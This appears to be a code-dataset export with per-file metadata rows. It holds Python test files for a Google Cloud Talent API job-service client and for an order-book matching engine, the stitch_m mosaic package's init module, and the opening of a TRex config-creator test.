next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
async_pager = await client.search_jobs_for_alert(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, job_service.SearchJobsResponse.MatchingJob) for i in responses
)
@pytest.mark.asyncio
async def test_search_jobs_for_alert_async_pages():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs_for_alert),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
pages = []
async for page in (await client.search_jobs_for_alert(request={})).pages:
pages.append(page)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.JobServiceGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.JobServiceGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = JobServiceClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide scopes and a transport instance.
transport = transports.JobServiceGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = JobServiceClient(
client_options={"scopes": ["1", "2"]}, transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.JobServiceGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
client = JobServiceClient(transport=transport)
assert client._transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.JobServiceGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.JobServiceGrpcAsyncIOTransport(
credentials=credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
assert isinstance(client._transport, transports.JobServiceGrpcTransport,)
def test_job_service_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(exceptions.DuplicateCredentialArgs):
transport = transports.JobServiceTransport(
credentials=credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_job_service_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.cloud.talent_v4beta1.services.job_service.transports.JobServiceTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.JobServiceTransport(
credentials=credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"create_job",
"batch_create_jobs",
"get_job",
"update_job",
"batch_update_jobs",
"delete_job",
"batch_delete_jobs",
"list_jobs",
"search_jobs",
"search_jobs_for_alert",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
# Additionally, the LRO client (a property) should
# also raise NotImplementedError
with pytest.raises(NotImplementedError):
transport.operations_client
def test_job_service_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
auth, "load_credentials_from_file"
) as load_creds, mock.patch(
"google.cloud.talent_v4beta1.services.job_service.transports.JobServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (credentials.AnonymousCredentials(), None)
transport = transports.JobServiceTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
quota_project_id="octopus",
)
def test_job_service_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(auth, "default") as adc:
adc.return_value = (credentials.AnonymousCredentials(), None)
JobServiceClient()
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
quota_project_id=None,
)
def test_job_service_transport_auth_adc():
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(auth, "default") as adc:
adc.return_value = (credentials.AnonymousCredentials(), None)
transports.JobServiceGrpcTransport(
host="squid.clam.whelk", quota_project_id="octopus"
)
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
quota_project_id="octopus",
)
def test_job_service_host_no_port():
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(api_endpoint="jobs.googleapis.com"),
)
assert client._transport._host == "jobs.googleapis.com:443"
def test_job_service_host_with_port():
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="jobs.googleapis.com:8000"
),
)
assert client._transport._host == "jobs.googleapis.com:8000"
def test_job_service_grpc_transport_channel():
channel = grpc.insecure_channel("http://localhost/")
# Check that if channel is provided, mtls endpoint and client_cert_source
# won't be used.
callback = mock.MagicMock()
transport = transports.JobServiceGrpcTransport(
host="squid.clam.whelk",
channel=channel,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=callback,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert not callback.called
def test_job_service_grpc_asyncio_transport_channel():
channel = aio.insecure_channel("http://localhost/")
# Check that if channel is provided, mtls endpoint and client_cert_source
# won't be used.
callback = mock.MagicMock()
transport = transports.JobServiceGrpcAsyncIOTransport(
host="squid.clam.whelk",
channel=channel,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=callback,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert not callback.called
@mock.patch("grpc.ssl_channel_credentials", autospec=True)
@mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True)
def test_job_service_grpc_transport_channel_mtls_with_client_cert_source(
grpc_create_channel, grpc_ssl_channel_cred
):
# Check that if channel is None, but api_mtls_endpoint and client_cert_source
# are provided, then a mTLS channel will be created.
mock_cred = mock.Mock()
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
transport = transports.JobServiceGrpcTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@mock.patch("grpc.ssl_channel_credentials", autospec=True)
@mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True)
def test_job_service_grpc_asyncio_transport_channel_mtls_with_client_cert_source(
grpc_create_channel, grpc_ssl_channel_cred
):
# Check that if channel is None, but api_mtls_endpoint and client_cert_source
# are provided, then a mTLS channel will be created.
mock_cred = mock.Mock()
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
transport = transports.JobServiceGrpcAsyncIOTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@pytest.mark.parametrize(
"api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"]
)
@mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True)
def test_job_service_grpc_transport_channel_mtls_with_adc(
grpc_create_channel, api_mtls_endpoint
):
# Check that if channel and client_cert_source are None, but api_mtls_endpoint
# is provided, then a mTLS channel will be created with SSL ADC.
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
# Mock google.auth.transport.grpc.SslCredentials class.
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
mock_cred = mock.Mock()
transport = transports.JobServiceGrpcTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint=api_mtls_endpoint,
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@pytest.mark.parametrize(
"api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"]
)
@mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True)
def test_job_service_grpc_asyncio_transport_channel_mtls_with_adc(
grpc_create_channel, api_mtls_endpoint
):
# Check that if channel and client_cert_source are None, but api_mtls_endpoint
# is provided, then a mTLS channel will be created with SSL ADC.
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
# Mock google.auth.transport.grpc.SslCredentials class.
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
mock_cred = mock.Mock()
transport = transports.JobServiceGrpcAsyncIOTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint=api_mtls_endpoint,
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/jobs",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
def test_job_service_grpc_lro_client():
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport="grpc",
)
transport = client._transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_job_service_grpc_lro_async_client():
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
transport = client._client._transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsAsyncClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_job_path():
project = "squid"
tenant = "clam"
job = "whelk"
expected = "projects/{project}/tenants/{tenant}/jobs/{job}".format(
project=project, tenant=tenant, job=job,
)
actual = JobServiceClient.job_path(project, tenant, job)
assert expected == actual
def test_parse_job_path():
expected = {
"project": "octopus",
"tenant": "oyster",
"job": "nudibranch",
}
path = JobServiceClient.job_path(**expected)
# Check that the path construction is reversible.
actual = JobServiceClient.parse_job_path(path)
assert expected == actual
| 37.05648
| 112
| 0.680702
| 14,556
| 124,658
| 5.59776
| 0.030091
| 0.025773
| 0.02106
| 0.019354
| 0.938759
| 0.927014
| 0.911341
| 0.901462
| 0.894331
| 0.883298
| 0
| 0.005125
| 0.23307
| 124,658
| 3,363
| 113
| 37.067499
| 0.847151
| 0.194572
| 0
| 0.754613
| 0
| 0
| 0.090754
| 0.027443
| 0
| 0
| 0
| 0
| 0.171587
| 1
| 0.037823
| false
| 0
| 0.017528
| 0.000923
| 0.056273
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b46d6b2526efb1aca6ab371e411540af2fa7d091
| 16,007
|
py
|
Python
|
python/tests/order_book_test.py
|
KrishanBhalla/MatchingEngines
|
f085c0eb2c1aa85267b942bcb1dab09b0fc66406
|
[
"MIT"
] | null | null | null |
python/tests/order_book_test.py
|
KrishanBhalla/MatchingEngines
|
f085c0eb2c1aa85267b942bcb1dab09b0fc66406
|
[
"MIT"
] | null | null | null |
python/tests/order_book_test.py
|
KrishanBhalla/MatchingEngines
|
f085c0eb2c1aa85267b942bcb1dab09b0fc66406
|
[
"MIT"
] | null | null | null |
from python.src.order_book import OrderBook
from python.src.orders import LimitOrder
from python.src.orders import MarketOrder
from python.src.orders import CancelOrder
from python.src.enums import OrderDirection
from python.src.enums import OrderDirection
from python.src.enums import OrderStatus
from python.src.exceptions import InvalidOrderDirectionException
import pytest
def test_order_book_init():
order_book = OrderBook()
assert not order_book.bids, "Test Failed: bids should be empty"
assert not order_book.asks, "Test Failed: asks should be empty"
assert order_book.best_bid is None, "Test Failed: best_bid should be empty"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert not order_book.trades, "Test Failed: trades should be empty"
assert not order_book.complete_orders, "Test Failed: complete_orders should be empty"
assert not order_book.attempt_match, "Test Failed: attempt_match should default to False"
pass
def test_order_book_can_add_orders():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity,
price=price + (i if i % 2 else -i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
assert len(order_book.bids) == 4, "Test Failed: There should be 5 bids"
assert len(order_book.asks) == 4, "Test Failed: There should be 5 asks"
assert order_book.best_bid is not None, "Test Failed: best_bid should not be empty"
assert order_book.best_ask is not None, "Test Failed: best_ask should not be empty"
assert order_book.best_bid.price > order_book.best_ask.price, "Test Failed: best prices are not aligned"
assert all(order_book.bids[i].price > order_book.asks[i].price for i in range(4)), \
"Test Failed: prices are not aligned"
assert not order_book.trades, "Test Failed: trades should be empty"
assert not order_book.complete_orders, "Test Failed: complete_orders should be empty"
assert order_book.attempt_match, "Test Failed: attempt_match should be True"
pass
def test_order_book_raise_exception_on_invalid_order():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_order = LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.test,
quantity=quantity,
price=price)
order_book = OrderBook()
with pytest.raises(InvalidOrderDirectionException) as exn:
order_book.add_order(limit_order)
pass
def test_order_book_can_match_orders():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity,
price=price + (i if i % 2 else -i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.match()
assert not order_book.bids, "Test Failed: There should be no bids after complete matching"
assert not order_book.asks, "Test Failed: There should be no asks after complete matching"
assert order_book.best_bid is None, "Test Failed: best_bid should be empty"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert len(order_book.trades) == 5, "Test Failed: trades should have 5 orders"
assert len(
order_book.complete_orders) == 10, "Test Failed: complete_orders should have all orders"
assert not order_book.attempt_match, "Test Failed: attempt_match should be False"
pass
def test_order_book_cannot_match_non_crossing_orders():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity,
price=price + (-i if i % 2 else i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.match()
assert len(order_book.bids) == 4, "Test Failed: There should be 5 bids"
assert len(order_book.asks) == 4, "Test Failed: There should be 5 asks"
assert order_book.best_bid is not None, "Test Failed: best_bid should not be empty"
assert order_book.best_ask is not None, "Test Failed: best_ask should not be empty"
assert order_book.best_bid.price <= order_book.best_ask.price, "Test Failed: best prices are not aligned"
assert all(order_book.bids[i].price <= order_book.asks[i].price for i in range(4)), \
"Test Failed: prices are not aligned"
assert not order_book.trades, "Test Failed: trades should be empty"
assert not order_book.complete_orders, "Test Failed: complete_orders should be empty"
assert not order_book.attempt_match, "Test Failed: attempt_match should be False"
pass
def test_order_book_can_match_incomplete_more_asks():
""" Here there are more asks than bids, so the bids will fill"""
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if i % 2 else -i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.match()
assert not order_book.bids, "Test Failed: There should be no bids after this matching"
assert order_book.best_bid is None, "Test Failed: best_bid should not be empty"
assert not order_book.asks, "Test Failed: There should no asks after this matching"
assert order_book.best_ask is not None, "Test Failed: best_ask should be empty"
assert len(
order_book.trades) > 5, "Test Failed: trades should more than 5 trades"
assert len(
order_book.complete_orders) < 10, "Test Failed: complete_orders should have fewer than 10 orders"
assert not order_book.attempt_match, "Test Failed: attempt_match should be False"
pass
def test_order_book_can_match_incomplete_more_bids():
""" Here there are more asks than bids, so the bids will fill"""
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if not i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if not i % 2 else -i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.match()
assert not order_book.asks, "Test Failed: There should be no asks after this matching"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert not order_book.bids, "Test Failed: There should be no bids after this matching"
assert order_book.best_bid is not None, "Test Failed: best_bid should not be empty"
assert len(
order_book.trades) > 5, "Test Failed: trades should more than 5 trades"
assert len(
order_book.complete_orders) < 10, "Test Failed: complete_orders should have fewer than 10 orders"
assert not order_book.attempt_match, "Test Failed: attempt_match should be False"
pass
def test_order_book_can_cancel_buy():
""" Here there are more asks than bids, so the bids will fill"""
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if not i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if not i % 2 else -i)) for i in range(10)]
for i, l in enumerate(limit_orders):
l.order_id = i
limit_orders[i] = l
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
cancel_order = CancelOrder(instrument_id=instrument_id,
order_id=0,
order_direction=OrderDirection.buy)
order_book.match()
order_book.add_order(cancel_order)
assert not order_book.asks, "Test Failed: There should be no asks after this matching"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert not order_book.bids, "Test Failed: There should be no bids after this matching"
assert order_book.best_bid is None, "Test Failed: best_bid should be empty"
assert len(
order_book.trades) > 5, "Test Failed: trades should more than 5 trades"
assert len(
order_book.complete_orders) == 10, "Test Failed: complete_orders should have 10 orders"
assert cancel_order.cancel_success, "Test Failed: cancel should succeed"
pass
def test_order_book_can_cancel_sell():
""" Here there are more asks than bids, so the bids will fill"""
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if i % 2 else -i)) for i in range(10)]
for i, l in enumerate(limit_orders):
l.order_id = i
limit_orders[i] = l
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
cancel_order = CancelOrder(instrument_id=instrument_id,
order_id=0,
order_direction=OrderDirection.sell)
order_book.match()
order_book.add_order(cancel_order)
assert not order_book.asks, "Test Failed: There should be no asks after this matching"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert not order_book.bids, "Test Failed: There should be no bids after this matching"
assert order_book.best_bid is None, "Test Failed: best_bid should be empty"
assert len(
order_book.trades) > 5, "Test Failed: trades should more than 5 trades"
assert len(
order_book.complete_orders) == 10, "Test Failed: complete_orders should have 10 orders"
assert cancel_order.cancel_success, "Test Failed: cancel should succeed"
pass
def test_order_book_can_cancel_buy_other_than_best_bid():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if not i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if not i % 2 else -i)) for i in range(10)]
for i, l in enumerate(limit_orders):
l.order_id = i
limit_orders[i] = l
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
cancel_order = CancelOrder(instrument_id=instrument_id,
order_id=2,
order_direction=OrderDirection.buy)
order_book.add_order(cancel_order)
assert len(
order_book.bids) < len(order_book.asks), "Test Failed: should be more sells than buys"
assert cancel_order.cancel_success, "Test Failed: cancel should succeed"
pass
def test_order_book_can_cancel_sell_other_than_best_ask():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if i % 2 else -i)) for i in range(10)]
for i, l in enumerate(limit_orders):
l.order_id = i
limit_orders[i] = l
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
cancel_order = CancelOrder(instrument_id=instrument_id,
order_id=2,
order_direction=OrderDirection.sell)
order_book.add_order(cancel_order)
assert len(
order_book.bids) > len(order_book.asks), "Test Failed: should be more buys than sells"
assert cancel_order.cancel_success, "Test Failed: cancel should succeed"
pass
def test_order_book_cannot_cancel_nothing():
instrument_id = "AAPL"
order_book = OrderBook()
cancel_order = CancelOrder(instrument_id=instrument_id,
order_id=2,
order_direction=OrderDirection.sell)
order_book.add_order(cancel_order)
assert not cancel_order.cancel_success, "Test Failed: cancel should fail"
pass
def test_order_book_can_handle_limit_and_market_orders_together():
""" Here there are more asks than bids, so the bids will fill"""
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy,
quantity=quantity - 10 * i,
price=price + i) for i in range(5)]
market_order = MarketOrder(instrument_id=instrument_id,
order_direction=OrderDirection.sell,
quantity=400)
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.add_order(market_order)
order_book.match()
assert not order_book.asks, "Test Failed: There should be no asks after this matching"
assert order_book.best_ask is None, "Test Failed: best_ask should be empty"
assert not order_book.bids, "Test Failed: There should be no bids after this matching"
assert order_book.best_bid is None, "Test Failed: best_bid should be empty"
assert len(
order_book.trades) == 5, "Test Failed: there should be 5 trades"
assert len(
order_book.complete_orders) == 6, "Test Failed: complete_orders should have 6 orders"
assert not order_book.attempt_match, "Test Failed: attempt_match should be False"
pass
def test_order_book_can_generate_order_book_plot():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if i % 2 else OrderDirection.sell,
quantity=quantity,
price=price + (-i if i % 2 else i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.plot_order_book()
pass
def test_order_book_can_generate_execution_plot():
instrument_id = "AAPL"
quantity = 100
price = 10
limit_orders = [LimitOrder(instrument_id=instrument_id,
order_direction=OrderDirection.buy if not i % 2 else OrderDirection.sell,
quantity=quantity - 10 * i,
price=price + (i if not i % 2 else -2*i)) for i in range(10)]
order_book = OrderBook()
for order in limit_orders:
order_book.add_order(order)
order_book.match()
order_book.plot_executions()
pass
| 42.458886
| 109
| 0.658899
| 2,171
| 16,007
| 4.653616
| 0.053432
| 0.120261
| 0.036029
| 0.046323
| 0.932594
| 0.921212
| 0.912105
| 0.889538
| 0.869643
| 0.86212
| 0
| 0.015127
| 0.269007
| 16,007
| 376
| 110
| 42.571809
| 0.848304
| 0.018055
| 0
| 0.816393
| 0
| 0
| 0.200994
| 0
| 0
| 0
| 0
| 0
| 0.236066
| 1
| 0.04918
| false
| 0.04918
| 0.029508
| 0
| 0.078689
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c37d289fb6d3a537bfb458002148c3eea1ee78fe
| 2,496
|
py
|
Python
|
src/stitch_m/__init__.py
|
iandobbie/StitchM
|
73e6692562c22106bf48454876050d14a6d52213
|
[
"BSD-3-Clause"
] | null | null | null |
src/stitch_m/__init__.py
|
iandobbie/StitchM
|
73e6692562c22106bf48454876050d14a6d52213
|
[
"BSD-3-Clause"
] | null | null | null |
src/stitch_m/__init__.py
|
iandobbie/StitchM
|
73e6692562c22106bf48454876050d14a6d52213
|
[
"BSD-3-Clause"
] | null | null | null |
version_info = (1, 1, 0)
__version__ = '.'.join(str(c) for c in version_info)
__author__ = "Thomas Fish"
def stitch_and_save(mosaic_file, marker_file=None):
"""
PARAMETERS:
mosaic_file - Path of .txt file that contains the mosaic information, including the path to the .mrc file
marker_file - Path of .txt file that contains a list of marker placements and associated numbers (please make sure this correctly corresponds to the mosaic file)
The output will be saved as the mosaic filename, with the suffix '.ome.tiff' (or '_marked.ome.tiff' if markers are supplied), in same directory as the mosaic file.
"""
import logging
from .run import main_run
from .file_handler import get_config
from .log_handler import LogHandler
config, config_messages = get_config()
with LogHandler(config=config, config_messages=config_messages):
main_run(config, mosaic_file, marker_file)
def stitch(mosaic_file, marker_file=None):
"""
PARAMETERS:
mosaic_file - Path of .txt file that contains the mosaic information, including the path to the .mrc file
marker_file - Path of .txt file that contains a list of marker placements and associated numbers (please make sure this correctly corresponds to the mosaic file)
OUTPUT:
mosaic (numpy array)
metadata (as an editable omexml object)
tiff_file (the default path stitch_and_save would save to, as a string)
"""
import logging
from .run import _stitch
from .file_handler import get_config
from .log_handler import LogHandler
config, config_messages = get_config()
with LogHandler(config=config, config_messages=config_messages):
return _stitch(config, mosaic_file, marker_file)
def save(mosaic, metadata, tiff_file):
"""
PARAMETERS:
mosaic - numpy array
metadata - omexml object from the stitch function (or omexml-dls)
tiff_file - Path which the mosaic should be saved to (as a string)
The output will be saved as the mosaic filename, with the suffix '.ome.tiff' (or '_marked.ome.tiff' if markers are supplied), in same directory as the mosaic file.
"""
import logging
from .run import _save
from .file_handler import get_config
from .log_handler import LogHandler
config, config_messages = get_config()
with LogHandler(config=config, config_messages=config_messages):
_save(mosaic, metadata, tiff_file)
| 39.619048
| 169
| 0.711939
| 348
| 2,496
| 4.936782
| 0.247126
| 0.058207
| 0.048894
| 0.046566
| 0.7922
| 0.746799
| 0.713038
| 0.713038
| 0.713038
| 0.713038
| 0
| 0.001547
| 0.223157
| 2,496
| 62
| 170
| 40.258065
| 0.884477
| 0.495593
| 0
| 0.555556
| 0
| 0
| 0.010444
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0
| 0.444444
| 0
| 0.592593
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5eea01d3e2b589c68ab6dbbf9887d4e3560669a1
| 22,587
|
py
|
Python
|
scripts/automation/regression/functional_tests/trex_cfg_creator_test.py
|
srakula-trex/trex-core
|
5cd1fd93cd3766c76537ff57670a861b9bcec7b8
|
[
"Apache-2.0"
] | 1
|
2020-09-06T00:58:34.000Z
|
2020-09-06T00:58:34.000Z
|
scripts/automation/regression/functional_tests/trex_cfg_creator_test.py
|
srakula-trex/trex-core
|
5cd1fd93cd3766c76537ff57670a861b9bcec7b8
|
[
"Apache-2.0"
] | null | null | null |
scripts/automation/regression/functional_tests/trex_cfg_creator_test.py
|
srakula-trex/trex-core
|
5cd1fd93cd3766c76537ff57670a861b9bcec7b8
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
import sys
import copy
from collections import OrderedDict
from trex_scenario import CTRexScenario
sys.path.append(CTRexScenario.scripts_path)
from dpdk_setup_ports import ConfigCreator, DpdkSetup
sys.path.remove(CTRexScenario.scripts_path)
